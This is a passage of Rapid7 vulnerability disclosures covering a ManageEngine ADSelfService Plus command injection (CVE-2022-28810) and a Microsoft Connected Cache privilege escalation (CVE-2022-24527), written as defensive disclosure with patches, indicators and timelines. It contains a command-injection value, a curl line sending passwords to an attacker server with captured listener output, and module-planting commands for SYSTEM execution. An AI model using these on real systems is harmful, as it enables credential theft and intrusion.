cmd.exe /c echo %username% %password% >> C:\ProgramData\something.txt

An attacker could inject arbitrary commands via password reset by providing a %password% like:

&& mkdir C:\ProgramData\helloworld && echo hi

Resulting in the directory “helloworld” being created in C:\ProgramData\.

Finally, because %password% isn’t sanitized or obfuscated at all, the admin user can observe all password changes, allowing them to effectively recover valid credentials for active directory accounts. As a proof of concept for this, we used the admin account to configure the password reset script to exfiltrate the new password to a server in the attacker’s control:

cmd.exe /c curl http://10.0.0.2:1270/%userName%=%password%

The attacker server would receive the following on password reset:

albinolobster@ubuntu:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 10.0.0.13 62065
GET /albinolobster=sl0wrunner! HTTP/1.1
Host: 10.0.0.2:1270
User-Agent: curl/7.55.1
Accept: */*

The patch

ManageEngine fixed this issue by no longer accepting scripts through the web interface. Post action scripts must now be placed on disk by a user with access to the underlying operating system. Furthermore, the script arguments are now base64 encoded. Here is an updated version of the Post Action interface.

Indicators of compromise

We encourage users of ManageEngine ADSelfService Plus to inspect the value they have configured in the Post Action fields. Using the admin account, you can navigate to the fields by following this pattern: Configuration -> Self Service -> Policy Configuration -> Advanced -> Password Sync.

We also highly encourage users to upgrade as soon as possible and to change the admin password.

Disclosure timeline

Tue, Apr 6, 2022: Initially discovered in the wild via Rapid7 Managed Detection and Response (MDR) service
Tue April 6, 2022: Initial disclosure to the vendor via their reporting portal
Wed April 7, 2022: Discussion with vendor about the issues, CVE assignment, and disclosure timelines
Sat April 9, 2022: ManageEngine publishes a new version of ADSelfService Plus
Tue Apr 12, 2022: Disclosed to CERT/CC and NCSC
April 14, 2022: Rapid7 publishes their disclosure (this document)

Rapid7 customers

InsightVM and Nexpose customers can assess their exposure to CVE-2022-28810 with an unauthenticated vulnerability check in the April 13, 2022 content release.

InsightIDR’s existing detection rules (listed below) are able to identify attacks that abuse this functionality. We recommend that you review your settings for these detection rules and confirm they are turned on and set to an appropriate rule action and priority for your organization:

• Suspicious Process - Powershell Invoke-WebRequest
• Attacker Technique - Attrib Sets File Or Directory As Hidden And System
• Attacker Technique - Enumerating Domain Or Enterprise Admins With Net Command
• Suspicious Process - Zoho ManageEngine Spawns Child

We have also added the following detection rule and prioritized it as Critical:

• Attacker Technique - Hiding ScreenConnect With Attrib

Rapid7 detection logic is continuously reviewed to ensure detections are based on any observed attacker behavior seen by our Incident Response (IR), Managed Detection and Response (MDR), and Threat Intelligence and Detection Engineering (TIDE) teams. Through continuous collaboration and threat landscape monitoring, we ensure product coverage for the latest techniques being used by malicious actors and will make updates as necessary.

Additional reading:

• CVE-2022-24527: Microsoft Connected Cache Local Privilege Escalation (Fixed)
• CVE-2022-1026: Kyocera Net View Address Book Exposure
• Analyzing the Attack Landscape: Rapid7’s 2021 Vulnerability Intelligence Report
• CVE-2021-4191: GitLab GraphQL API User Enumeration (FIXED)

On April 12, 2022, Microsoft published CVE-2022-24527, a local privilege escalation vulnerability in Microsoft Connected Cache. The vulnerability allowed a local low-privileged user to execute arbitrary Powershell as SYSTEM due to improper file permission assignment (CWE-732).

Product description

Connected Cache is a feature used by Microsoft Endpoint Manager “Distribution Points” to support “Delivery Optimization.”

Credit

This issue was discovered and reported by security researcher Jake Baines as part of Rapid7's vulnerability disclosure program.

Exploitation

When Connected Cache is in use on a Distribution Point, it is installed, in part, into C:\Doinc\. Below, you can see that there are some Powershell scripts within that directory:

C:\>dir /s /b C:\Doinc\
C:\Doinc\Product
C:\Doinc\Product\Install
C:\Doinc\Product\Install\Logs
C:\Doinc\Product\Install\Tasks
C:\Doinc\Product\Install\Tasks\CacheNodeKeepAlive.ps1
C:\Doinc\Product\Install\Tasks\Maintenance.ps1
C:\Doinc\Product\Install\Tasks\SetDrivesToHealthy.ps1

Low-privileged users only have read and execute permissions on the Powershell scripts.

C:\Doinc\Product\Install\Tasks>icacls *.ps1
CacheNodeKeepAlive.ps1 NT AUTHORITY\SYSTEM:(I)(F)
                       NT AUTHORITY\NETWORK SERVICE:(I)(F)
                       BUILTIN\Administrators:(I)(F)
                       BUILTIN\Users:(I)(RX)

Maintenance.ps1 NT AUTHORITY\SYSTEM:(I)(F)
                NT AUTHORITY\NETWORK SERVICE:(I)(F)
                BUILTIN\Administrators:(I)(F)
                BUILTIN\Users:(I)(RX)

SetDrivesToHealthy.ps1 NT AUTHORITY\SYSTEM:(I)(F)
                       NT AUTHORITY\NETWORK SERVICE:(I)(F)
                       BUILTIN\Administrators:(I)(F)
                       BUILTIN\Users:(I)(RX)

Successfully processed 3 files; Failed processing 0 files

The Powershell scripts are executed every 60 seconds by the Task Scheduler as NT AUTHORITY\SYSTEM. All that is fine. The following part is where trouble begins. This is how SetDrivesToHealthy.ps1 starts:

try
{  
    import-module 'webAdministration'

    $error.clear() 

When SetDrivesToHealthy.ps1 executes, it attempts to load the webAdministration module. Before searching the normal %PSModulePath% path, SetDrivesToHealthy.ps1 looks for the import in C:\Doinc\Product\Install\Tasks\WindowsPowerShell\Modules\webAdministration\. As we saw above, this directory doesn't exist. And while low-privileged users can't modify the Connected Cache PowerShell scripts, they do have sufficient privileges to add subdirectories and files to C:\Doinc\Product\Install\Tasks\:

C:\Doinc\Product\Install>icacls ./Tasks/
./Tasks/ NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
         NT AUTHORITY\NETWORK SERVICE:(I)(OI)(CI)(F)
         BUILTIN\Administrators:(I)(OI)(CI)(F)
         BUILTIN\Users:(I)(OI)(CI)(RX)
         BUILTIN\Users:(I)(CI)(AD)
         BUILTIN\Users:(I)(CI)(WD)
         CREATOR OWNER:(I)(OI)(CI)(IO)(F)

An attacker can create the necessary directory structure and place their own webAdministration so that SetDrivesToHealthy.ps1 will import it. In the proof of concept below, the low-privileged attacker creates the directory structure and creates a PowerShell script that creates the file C:\r7.

C:\Doinc\Product\Install\Tasks>dir C:\
 Volume in drive C has no label.
 Volume Serial Number is 3073-81A6

 Directory of C:\

01/04/2022  05:01 PM    <DIR>          Doinc
01/04/2022  05:15 PM    <DIR>          DOINC-E77D08D0-5FEA-4315-8C95-10D359D59294
01/04/2022  03:48 PM    <DIR>          inetpub
07/07/2021  04:05 AM    <DIR>          PerfLogs
01/05/2022  09:29 AM    <DIR>          Program Files
01/05/2022  09:29 AM    <DIR>          Program Files (x86)
01/05/2022  09:16 AM    <DIR>          SCCMContentLib
01/05/2022  09:15 AM    <DIR>          SMSPKGC$
01/05/2022  09:17 AM    <DIR>          SMSSIG$
01/05/2022  09:17 AM    <DIR>          SMS_DP$
01/04/2022  05:04 PM    <DIR>          Users
01/04/2022  03:48 PM    <DIR>          Windows
               0 File(s)              0 bytes
              12 Dir(s)  239,837,327,360 bytes free

C:\Doinc\Product\Install\Tasks>mkdir WindowsPowerShell

C:\Doinc\Product\Install\Tasks>mkdir WindowsPowerShell\Modules\

C:\Doinc\Product\Install\Tasks>mkdir WindowsPowerShell\Modules\webAdministration\

C:\Doinc\Product\Install\Tasks>echo New-Item C:\r7.txt > WindowsPowerShell\Modules\webAdministration\webAdministration.psm1

C:\Doinc\Product\Install\Tasks>dir C:\
 Volume in drive C has no label.
 Volume Serial Number is 3073-81A6

 Directory of C:\

01/04/2022  05:01 PM    <DIR>          Doinc
01/04/2022  05:15 PM    <DIR>          DOINC-E77D08D0-5FEA-4315-8C95-10D359D59294
01/04/2022  03:48 PM    <DIR>          inetpub
01/05/2022  01:49 PM                 0 r7.txt
07/07/2021  04:05 AM    <DIR>          PerfLogs
01/05/2022  09:29 AM    <DIR>          Program Files
01/05/2022  09:29 AM    <DIR>          Program Files (x86)
01/05/2022  09:16 AM    <DIR>          SCCMContentLib
01/05/2022  09:15 AM    <DIR>          SMSPKGC$
01/05/2022  09:17 AM    <DIR>          SMSSIG$
01/05/2022  09:17 AM    <DIR>          SMS_DP$
01/04/2022  05:04 PM    <DIR>          Users
01/04/2022  03:48 PM    <DIR>          Windows
               1 File(s)              0 bytes
              12 Dir(s)  239,836,917,760 bytes free

C:\Doinc\Product\Install\Tasks>icacls C:\r7.txt
C:\lol.txt NT AUTHORITY\SYSTEM:(I)(F)
           BUILTIN\Administrators:(I)(F)
           BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

C:\Doinc\Product\Install\Tasks>

As you can see the C:\r7.txt file is created, demonstrating the privilege escalation. Process monitor capture attached screenshot from the process monitor captures the PowerShell module being read in and the file being created by the SYSTEM user.

Remediation

Follow Microsoft guidance on updating the Distribution Point software. If that is not possible, disabling the caching feature will effectively mitigate this issue.

Disclosure timeline

January 5, 2022: Issue disclosed to the vendor
January 5, 2022: Vendor acknowledgement
January 6, 2022: Vendor assigns a case identifier
January 10-11, 2022: Vendor and researcher discuss clarifying details
January 19, 2022: Vendor confirms the vulnerability
February-March 2022: Vendor and researcher coordinate on disclosure date and CVE assignment
April 12, 2022: Public disclosure (this document)

Additional reading:

• CVE-2022-1026: Kyocera Net View Address Book Exposure
• Analyzing the Attack Landscape: Rapid7’s 2021 Vulnerability Intelligence Report
• Cloud Pentesting, Pt. 1: Breaking Down the Basics
• CVE-2021-4191: GitLab GraphQL API User Enumeration (FIXED)